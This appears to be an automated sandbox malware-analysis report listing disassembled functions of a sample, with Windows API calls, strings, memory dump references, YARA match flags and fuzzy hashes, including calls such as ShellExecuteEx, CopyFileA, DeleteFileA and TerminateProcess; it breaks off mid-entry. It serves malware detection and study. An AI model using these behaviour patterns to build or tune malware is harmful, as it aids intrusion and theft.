Download Yara Rule

APIs

Part of subcall function 6C8E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C923EBD,6C923EBD,00000000), ref: 6C8E42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C93B127), ref: 6C93B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C93B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C93B4E4

Strings

pid:, xrefs: 6C93B4DE

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 0a36ee3d609c15ca0111f0ace82b82e97b1c1f2d752d9bf478b2f54041862b29
Instruction ID: 39696616f9d1495ed25faa17e5889d1abb1bee7b3795269a46ff682e1ef6698d
Opcode Fuzzy Hash: 0a36ee3d609c15ca0111f0ace82b82e97b1c1f2d752d9bf478b2f54041862b29
Instruction Fuzzy Hash: D0313331A01A28DBDB00DFAAD884AEEB7B9FF45308F54152DD84967A80D731E845CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 004132F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00413323

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

ShellExecuteEx.SHELL32(0000003C), ref: 004133E6
ExitProcess.KERNEL32 ref: 00413415

Strings

<, xrefs: 00413399

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 3496981387204af82f82ede6615a3297053cf3b1ca5d7d00cc566b378b6a6749
Instruction ID: 9270ca21e45796c21bf284f368f95b7d0dbf71ea93a5a7258f1c6a627d8bac6b
Opcode Fuzzy Hash: 3496981387204af82f82ede6615a3297053cf3b1ca5d7d00cc566b378b6a6749
Instruction Fuzzy Hash: 383144B19012189BDB14EB91DD91FDDBB78AF48304F80518DF20566191DF746B89CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 6C92E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C92E577
AcquireSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92E584
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C92E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C92E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C92E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C92E722, 6C92E750, 6C92E7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C92E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C92E826, 6C92E850
MOZ_PROFILER_STARTUP, xrefs: 6C92E5A1, 6C92E5CC, 6C92E5FF, 6C92E62A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 29ef74bb92f73df25ad9a090fc0a6a1f9e97e4bf262f5ab8a1bfefad1fe6c34a
Instruction ID: 793f6dfe02ae3d073faec396d48434fd372c224bac508e3a0df7ed65c57c6f7d
Opcode Fuzzy Hash: 29ef74bb92f73df25ad9a090fc0a6a1f9e97e4bf262f5ab8a1bfefad1fe6c34a
Instruction Fuzzy Hash: 12118E31608258DFEB009F26C848B69BBB8FB8932CF60051DE88547F90D774E805CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00415450 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
wsprintfW.USER32 ref: 00415478

Strings

%hs, xrefs: 0041546F

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction ID: 2a04a3b42468460cff415e79ad4cc7303691da2b1e165ac812b33aed5ccf4e4e
Opcode Fuzzy Hash: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction Fuzzy Hash: A5E0ECB5A40608BFDB20DFD4ED0AEAD77A9EB48701F100194F90AD7640DA719E109B95

Uniqueness

Uniqueness Score: -1.00%

Function 6C930C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C930CD5

Part of subcall function 6C91F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C91F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C930D40
free.MOZGLUE ref: 6C930DCB

Part of subcall function 6C905E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C905EDB
Part of subcall function 6C905E90: memset.VCRUNTIME140(6C947765,000000E5,55CCCCCC), ref: 6C905F27
Part of subcall function 6C905E90: LeaveCriticalSection.KERNEL32(?), ref: 6C905FB2

free.MOZGLUE ref: 6C930DDD
free.MOZGLUE ref: 6C930DF2

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 96e940b3d24e4c24c08859281c024f321dd38e8809cf51d0667d87909c82110a
Instruction ID: 196a51105e2eeb236cf24c62e94bc57c000bea6282d0ad315e441c9e05777b40
Opcode Fuzzy Hash: 96e940b3d24e4c24c08859281c024f321dd38e8809cf51d0667d87909c82110a
Instruction Fuzzy Hash: 94412571A087949BD320CF29C08079EFBE5BFD9614F509A2EE8E887B50D770D444CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6C93CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C92DA31,00100000,?,?,00000000,?), ref: 6C93CDA4

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

Part of subcall function 6C93D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C93CDBA,00100000,?,00000000,?,6C92DA31,00100000,?,?,00000000,?), ref: 6C93D158
Part of subcall function 6C93D130: InitializeConditionVariable.KERNEL32(00000098,?,6C93CDBA,00100000,?,00000000,?,6C92DA31,00100000,?,?,00000000,?), ref: 6C93D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C92DA31,00100000,?,?,00000000,?), ref: 6C93CDC4

Part of subcall function 6C937480: ReleaseSRWLockExclusive.KERNEL32(?,6C9415FC,?,?,?,?,6C9415FC,?), ref: 6C9374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C92DA31,00100000,?,?,00000000,?), ref: 6C93CECC

Part of subcall function 6C8FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C8FCAA2

Part of subcall function 6C92CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C93CEEA,?,?,?,?,00000000,?,6C92DA31,00100000,?,?,00000000), ref: 6C92CB57
Part of subcall function 6C92CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C92CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C93CEEA,?,?), ref: 6C92CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C92DA31,00100000,?,?,00000000,?), ref: 6C93D058

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 5286030ea7492b0a034bedcd356a4ed7c1fb83280fe34aec1760ae160c0af083
Instruction ID: 99bc5e78a2ce6c6678191dd88fce20b7e382f1dfda70807dca9fec223f101734
Opcode Fuzzy Hash: 5286030ea7492b0a034bedcd356a4ed7c1fb83280fe34aec1760ae160c0af083
Instruction Fuzzy Hash: 42D18E71A04B16DFD708CF28C5907A9B7E1BF99308F01872DD8598B751EB31E9A5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB50 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CBD1
lstrlen.KERNEL32(00000000), ref: 0040CDE8
lstrlen.KERNEL32(00000000), ref: 0040CDFC
DeleteFileA.KERNEL32(00000000), ref: 0040CE75

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a388f1d5562cedac2aeec40e4b540315215faf5c593fb20d88f4c688e21c03fc
Instruction ID: 6e212494759c8e3b152de70cf12e9653d7fde48daaab02ad2b76da051d612c4f
Opcode Fuzzy Hash: a388f1d5562cedac2aeec40e4b540315215faf5c593fb20d88f4c688e21c03fc
Instruction Fuzzy Hash: 1B914A729102049BCB14FBA1DC51EEE7739BF14304F51425EF51676491EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 6C905C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C905D40
EnterCriticalSection.KERNEL32(6C96F688), ref: 6C905D67
__aulldiv.LIBCMT ref: 6C905DB4
LeaveCriticalSection.KERNEL32(6C96F688), ref: 6C905DED

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 17243a3ccbff8874e2e840e30cb25da543d1fd4c24beeb8a3ea51e1a1cccd21e
Instruction ID: 8cc45abaa83a1474a663e28da3e9657560f3ad335ecd190d0da89a24d0682a58
Opcode Fuzzy Hash: 17243a3ccbff8874e2e840e30cb25da543d1fd4c24beeb8a3ea51e1a1cccd21e
Instruction Fuzzy Hash: 0C514A71E041598FDF08CE69C854BBEBBB2FB85308F29861ED811A7790D770A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C8ECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8ECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C8ECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C8ECF4E

Strings

0, xrefs: 6C8ECF30

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 6b14f71549b013126ea0208da87151f39b57c4a172fa2d00921de69810e3754b
Instruction ID: 2ee7bde45dc95e1c4cf6bd3727d52923992eedc4b9d26c493e588b588f256a94
Opcode Fuzzy Hash: 6b14f71549b013126ea0208da87151f39b57c4a172fa2d00921de69810e3754b
Instruction Fuzzy Hash: E151247190425ACFCB14CF18C490AAABBB5EF9A300F19859DD8595F752D371ED06CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6C926470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9282BC,?,?), ref: 6C92649B

Part of subcall function 6C8FCA10: malloc.MOZGLUE(?), ref: 6C8FCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9264A9

Part of subcall function 6C91FA80: GetCurrentThreadId.KERNEL32 ref: 6C91FA8D
Part of subcall function 6C91FA80: AcquireSRWLockExclusive.KERNEL32(6C96F448), ref: 6C91FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C92653F
free.MOZGLUE(?), ref: 6C92655A

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 8448aa8f5fa514a46594df97f1ec3c3cf37cfb23113e354f9eeed0afe6d8afae
Instruction ID: 93d4ae89135058c26ff2e9b4c6b66799576a2d6ef646c3a1d8d3a176f1a9f43b
Opcode Fuzzy Hash: 8448aa8f5fa514a46594df97f1ec3c3cf37cfb23113e354f9eeed0afe6d8afae
Instruction Fuzzy Hash: 8A318FB5A083159FD700CF14D884A9EBBF4FF98314F10442EE89A87B41EB34E919CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00415BEB

Part of subcall function 00415450: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
Part of subcall function 00415450: HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
Part of subcall function 00415450: wsprintfW.USER32 ref: 00415478

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00415CAB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00415CC9
CloseHandle.KERNEL32(00000000), ref: 00415CD6

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: fdfea1e36e01ba5dc6c08a707d84f87bfe87981db8c2dab46dee4399722e953d
Instruction ID: 9bd26bda15b00488fb04890a05ea267a73874a1d1a12279ce6d54c29d70e7cb6
Opcode Fuzzy Hash: fdfea1e36e01ba5dc6c08a707d84f87bfe87981db8c2dab46dee4399722e953d
Instruction Fuzzy Hash: B7311E71A00708DFDB24DFD0CD49BEDB775BB88304F204459E506AA284EB78AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6C8FB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8FB4F5
AcquireSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C8FB502
ReleaseSRWLockExclusive.KERNEL32(6C96F4B8), ref: 6C8FB542
free.MOZGLUE(?), ref: 6C8FB578

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 3d753c8d58ea6e001e64528c5afb5ded69c14a17a08e3fb80b43707970a5d0b0
Instruction ID: ad0bb178fc4dbf9910f924c36ce581f0b3306acfb49d0e217480bdf46ca9f038
Opcode Fuzzy Hash: 3d753c8d58ea6e001e64528c5afb5ded69c14a17a08e3fb80b43707970a5d0b0
Instruction Fuzzy Hash: 6311C030A08B45C7E3228F2AC504771B3B1FF9A358F245B0EE85953E41EBB4E1C68790

Uniqueness

Uniqueness Score: -1.00%

Function 6C923DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C8EF20E,?), ref: 6C923DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C8EF20E,00000000,?), ref: 6C923DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C923E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C923E0E

Part of subcall function 6C91CC00: GetCurrentProcess.KERNEL32(?,?,6C8E31A7), ref: 6C91CC0D
Part of subcall function 6C91CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C8E31A7), ref: 6C91CC16

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: e4e9feafd2d15767dba1ef6df5682e50c54f504d6d11670177d9e64922474706
Instruction ID: 0ea61c79f654cf3bf6671c108de22c61d08c995c2c665044888d900c7d2f7ff6
Opcode Fuzzy Hash: e4e9feafd2d15767dba1ef6df5682e50c54f504d6d11670177d9e64922474706
Instruction Fuzzy Hash: 46F082716002087BEB00AB55DC42DBB372CEB56628F140024FD0817740D735FD2986F7

Uniqueness

Uniqueness Score: -1.00%

Function 00414ED0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
HeapAlloc.KERNEL32(00000000), ref: 00414F23
wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

%dx%d, xrefs: 00414F34

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction ID: 6eb13fdbeba78ce7d97bae5a893604665d2c333b41188d65ffcc19bab192dd48
Opcode Fuzzy Hash: f08cde69876725b708423540da4c5a3f365b361f564d4ee0880696cb78a15392
Instruction Fuzzy Hash: 5C112DB1A40708AFDB10DFE4DD49FBE77B9FB48701F104548FA09AB280CA719901CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00416F20 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00416F72
lstrcat.KERNEL32(00000000), ref: 00416F82

Strings

6F@, xrefs: 00416F37
6F@, xrefs: 00416F29

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: 6F@$6F@
API String ID: 3905823039-140834422
Opcode ID: a8e5935f14eb29423586bb7997bcffb204c8ef295a6cede93f695f23dfd29d54
Instruction ID: 671097608d67a6365fb22a17cf1e01146cf6df4f1a405ab7b22d056337cae9f2
Opcode Fuzzy Hash: a8e5935f14eb29423586bb7997bcffb204c8ef295a6cede93f695f23dfd29d54
Instruction Fuzzy Hash: F411D674A00208ABCB04DF94E884AEEB375BF44304F518599E829AB391C734AA85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6C9385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

